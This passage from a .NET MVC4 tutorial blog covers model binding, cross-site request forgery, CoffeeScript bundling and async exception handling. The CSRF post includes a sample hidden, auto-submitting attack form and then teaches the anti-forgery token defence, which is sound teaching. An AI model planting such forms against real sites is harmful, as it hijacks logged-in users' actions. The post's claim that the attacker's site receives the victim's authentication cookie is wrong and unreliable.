        [HttpPost]
        public ActionResult Create(CustomerViewModel customer)
        {
            Customer newCustomer = new Customer()
            {
                AccountBalance = 0
                ,Address = customer.Address
                ,Age = customer.Age
                ,Name = customer.Name
            };
            List<Customer> updatedCustomers = AddCustomerToDb(newCustomer);
            Session["Customers"] = updatedCustomers;
            return RedirectToAction("Index");
        }

This way you can be sure that you only receive the properties that you expect and nothing else.

You can view the list of posts on Security and Cryptography here.

Web security in .NET4.5 MVC4 with C#: Cross site request forgery

In this post we’ll discuss what a cross-site request forgery means and how you can protect your MVC4 web application against such an attack. The term is abbreviated as CSRF – pronounced ‘see-surf’.

A CSRF is an attack a malicious user can execute using the identity of an unsuspecting user who is logged onto the web application. The effects of the attack can range from annoyances, such as logging out the user from the site, to outright dangerous actions such as stealing data.

Imagine the following: a user with no administrative rights wants to do something on your site that only admins are allowed to do, such as create a new customer in the database. Let’s say that your website is called http://www.mysite.com. This malicious user will then build a site which a user who is logged on to http://www.mysite.com will be tricked into using. Let’s say that the malicious user builds a simple site called http://www.fakesite.com. The attacker will have to know at least a little bit about the HTML of the target site, but that’s easy. He can simply select View Source in IE and similar commands in FF and Chrome and there it is.

Within http://www.mysite.com there will be a page where the user can enter the details of the new customer. The attacker will have to inspect the form element on that site, copy its raw HTML source and paste it to http://www.fakesite.com. He won’t need to build a fully functioning web page: a single-page app will suffice. Let’s say that this single page is called nicecars.html. Let’s imagine that the attacker will actually place some pictures of good cars on this webpage so that it looks real.

Imagine that the original source HTML of the rendered page on http://www.mysite.com looks as follows:

<form action="/Customers/Create" method="post">
    <input id="Name" name="Name" type="text" value="" />
    <input id="City" name="City" type="text" value="" />
    <input id="Country" name="Country" type="text" value="" />
</form>

The attacker will now take this HTML, paste it in http://www.fakesite.com/nicecars.html and insert his own values as follows:

<form action="/Customers/Create" method="post">
    <input id="Name" name="Name" type="text" value="You have been tricked" />
    <input id="City" name="City" type="text" value="Hello" />
    <input id="Country" name="Country" type="text" value="Neverland" />
</form>

The attacker is aiming to insert these values into the database through an authenticated administrator on http://www.mysite.com. In reality these values may be more dangerous such as transferring money from one account to another.

The attacker will also dress up the form a little bit:

<form id="fakeForm" style="display: none;" action="http://www.mysite.com/Customers/Create" method="post">
    <input id="Name" name="Name" type="text" value="You have been tricked" />
    <input id="City" name="City" type="text" value="Hello" />
    <input id="Country" name="Country" type="text" value="Neverland" />
</form>

Note the inline style element: the idea is not to show this form to the administrator. The form must stay invisible on nicecars.html. It’s enough to build a form that has the same structure that http://www.mysite.com expects. Also, as http://www.fakesite.com has nothing to do with Customers, the attacker will not want to post back to his own fake website. Instead he will want to post the data against http://www.mysite.com, hence the updated ‘action’ attribute of the form tag.

You may be wondering how this form will be submitted as there is no submit button. The good news for the attacker is that there’s no need for a button. The form can be submitted using a little JavaScript right underneath the form:

<script>
    setTimeout(function () { window.fakeForm.submit(); }, 2000);
</script>

This code will submit the form after 2 seconds.

If the attacker will try to run his own malicious form then he will be redirected to the Login page of http://www.mysite.com as only admins are allowed to add customers. However, he has no admin rights, so what can he do? He can copy the link to the webpage with the malicious form, i.e. http://www.fakesite.com/nicecars.html, and send it to some user with admin rights on http://www.mysite.com. Examples: insert a link in an email, on Twitter, on Facebook, etc., and then hope that the user will click the link thinking they will see some very nice cars. If the admin actually clicks the link then the damage is done: the values in the malicious form of http://www.fakesite.com/nicecars.html will be posted to http://www.mysite.com/Customers/Create and as the user has admin rights, the new Customer object will be inserted into the database.

The attacker can make it even less obvious that http://www.mysite.com is involved in any way: the form can be submitted with Ajax. The attacker uses the administrative user as a proxy to submit his own malicious data.

This will work seamlessly if the administrative user is logged onto http://www.mysite.com when they click the link to http://www.fakesite.com. Why? When the admin is logged on then the browser will send the authentication cookie .ASPXAUTH along with every subsequent request – even to http://www.fakesite.com. So http://www.fakesite.com will have access to the cookie and send it back to http://www.mysite.com when the malicious form is submitted.

It is clear that the usual authentication and authorisation techniques will not be sufficient against such an attack. You will also want to make sure that the form data that is sent to your application originated from your application and not from an external one. Fortunately this is easy to achieve in MVC4 through the AntiForgeryToken object.

You will need to place this token in two places.

1. On the Controller action that accepts the form data. Example:

[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Create(CustomerViewModel customerViewModel)

If you now try to enter a new customer by posting against the Create method you’ll receive the following exception:

“The required anti-forgery token from field “_RequestVerificationToken” is not present.”

The reason is that the form that posts against the Create method must have an anti-forgery token which can be verified. You can add this token using a simple Html helper in the .cshtml Razor view. This token will hold a cryptographically significant value. This value will be added to a cookie which the browser will carry along when the form is posted. The value in this cookie will be verified before the request is allowed to go through.

Even if a malicious attacker manages to have an admin click the link to http://www.fakesite.com/nicecars.html they will not be able to set the right cookie value. Even if the attacker knew the exact value of the verification token websites don’t allow setting cookies for another website. This is how an anti-forgery token will prevent a CSRF attack.

2. We set up the verification token on the form as well.

This is easy to do using a Html helper as follows:

@using (Html.BeginForm())
{
    @Html.AntiForgeryToken()
    <fieldset>

    </fieldset>
}

With very little effort you can protect your website against a cross-site request forgery.

You can view the list of posts on Security and Cryptography here.

How to bundle and minify CoffeeScript files in .NET4.5 MVC4 with C#

In the previous blog post I showed you how the bundling and minification mechanism in MVC4 works with CSS and JavaScript files. Some of you may have CoffeeScript files in their projects and you may be wondering if they can be bundled as well. The answer is yes, and it’s not complicated at all.

Add a new folder to your MVC4 application called CoffeeScript. Add a file called customers.coffee to it and insert the following CoffeeScript code:

class Customer
	constructor: (@name) ->

	complain: ->
		alert @name + " says: WHERE IS MY ORDER???!!!!"

cust = new Customer("Angry customer")
cust.complain()

This should not be too complicated I believe: we construct a Customer object and call its complain() method.

The next step is to import a package called CoffeeBundler from NuGet: PM> install-package CoffeeBundler. This will add the necessary DLLs to your projects. Now we have access to another type of bundler which will translate CoffeeScript into JavaScript and also perform the bundling and minification processes.

Next go to the BundleConfig.RegisterBundles method and add the following bit of code:

Bundle coffeeBundler = new ScriptBundle("~/bundles/coffee")
                .Include("~/CoffeeScript/customers.coffee");
            coffeeBundler.Transforms.Insert(0, new CoffeeBundler.CoffeeBundler());
            bundles.Add(coffeeBundler);

As CoffeeScript is nothing but JavaScript we still need to create a ScriptBundle object and include our CoffeeScript file in it. We also need to add a transform which will translate the CoffeeScript files into JavaScript, compile them and bundle/minify them. We also want to make sure that this is the first transformation that runs, hence the 0 in the Insert method. By default the JS bundler is the first in the transformation process.

Now let’s open _Layout.cshtml and insert the following bit of code right before the closing /body tag:

<script src="@BundleTable.Bundles.ResolveBundleUrl("~/bundles/coffee")"></script>

In case you do a build now you may receive some errors that complain about a file called AppStart_RegisterCoffeeBundler.cs. This was added automatically when we inserted the CoffeeBundler package from NuGet. You can safely delete this file; its automatically generated code had not quite caught up with .NET4.5 when writing this blog post.

The reason we use the longer script tag to call the ResolveBundleUrl instead of the shorter Scripts.Render is the same: the CoffeeBundler is a bit behind the developments in .NET4.5 and it’s safer to use the longer version.

Now run the application. If all went well then you should see a standard JavaScript alert stating that there’s an angry customer. Open the source view to check the generated HTML. You should see that the CoffeeScript bundle has been created:

<script src="/bundles/coffee?v=_Jtpxzv6QVFgvnfRHCOt5_bHmKJW0D27L4nwCa0u1gU1"></script>

Call that bundle from the browser, the address should be http://localhost:xxxx/bundles/coffee and you should see the JavaScript that the CoffeeScript bundler has generated:

(function(){var n,t;n=function(){function n(n){this.name=n}return n.prototype.complain=function(){return alert(this.name+" says: WHERE IS MY ORDER???!!!!")},n}(),t=new n("Angry customer"),t.complain()}).call(this)

So, simple as that!

View the list of MVC and Web API related posts here.

Exception handling in async methods in .NET4.5 MVC4 with C#

In this post we’ll take a look at how to handle exceptions that are thrown by actions that are awaited. My previous post already included some exception handling techniques in MVC4 but here we will concentrate on exceptions thrown by await actions. Check my previous 3 posts for the full story behind the code examples shown here.

We will simulate some problems by intentionally throwing an exception in GetResultAsync and GetDataAsync:

public async Task<String> GetDataAsync(CancellationToken ctk)
        {
            StringBuilder dataBuilder = new StringBuilder();
            dataBuilder.Append("Starting GetData on thread id ").Append(Thread.CurrentThread.ManagedThreadId)
                .Append(". ");
            ctk.ThrowIfCancellationRequested();
            await Task.Delay(2000);
            throw new Exception("Something terrible has happened!");
            dataBuilder.Append("Results from the database. ").Append(Environment.NewLine);
            dataBuilder.Append("Finishing GetData on thread id ").Append(Thread.CurrentThread.ManagedThreadId)
                .Append(".");
            return dataBuilder.ToString();
        }
public async Task<String> GetResultAsync(CancellationToken ctk)
        {
            StringBuilder resultBuilder = new StringBuilder();
            resultBuilder.Append("Starting GetResult on thread id ").Append(Thread.CurrentThread.ManagedThreadId)
                .Append(". ");
            ctk.ThrowIfCancellationRequested();
            await Task.Delay(2000);
            throw new Exception("The service is down!");
            resultBuilder.Append("This is the result of a long running calculation. ");
            resultBuilder.Append("Finishing GetResult on thread id ").Append(Thread.CurrentThread.ManagedThreadId)
                .Append(".");
            return resultBuilder.ToString();
        }

Also, increase the timeout value of the Index action so that we do not get a Timeout Exception:

[AsyncTimeout(4000)]
[HandleError(ExceptionType = typeof(TimeoutException), View = "Timeout")]
public async Task<ActionResult> Index(CancellationToken ctk)

Before you run the application change the ‘mode’ attribute of the customErrors element in the web.config to “Off” as we want to see the debug data.

It does not come as a surprise that we run into an exception:

Intentional exception YSOD

If you had worked with the TPL library before then you may have expected an AggregateException that wraps all exceptions encountered during the parallel calls. However, TPL behaves slightly differently in conjunction with the await keyword. It is still an AggregateException that is instantiated behind the scenes but the .NET runtime will only throw the first exception that was encountered during the method execution.

This is good news: we can set up our try-catch structures as usual; we don’t need to worry about inspecting an AggregateException anymore.

View the list of MVC and Web API related posts here.

Elliot Balynn's Blog

A directory of wonderful thoughts

Software Engineering

Web development

Disparate Opinions

Various tidbits

chsakell's Blog

WEB APPLICATION DEVELOPMENT TUTORIALS WITH OPEN-SOURCE PROJECTS

Once Upon a Camayoc

Bite-size insight on Cyber Security for the not too technical.

%d bloggers like this: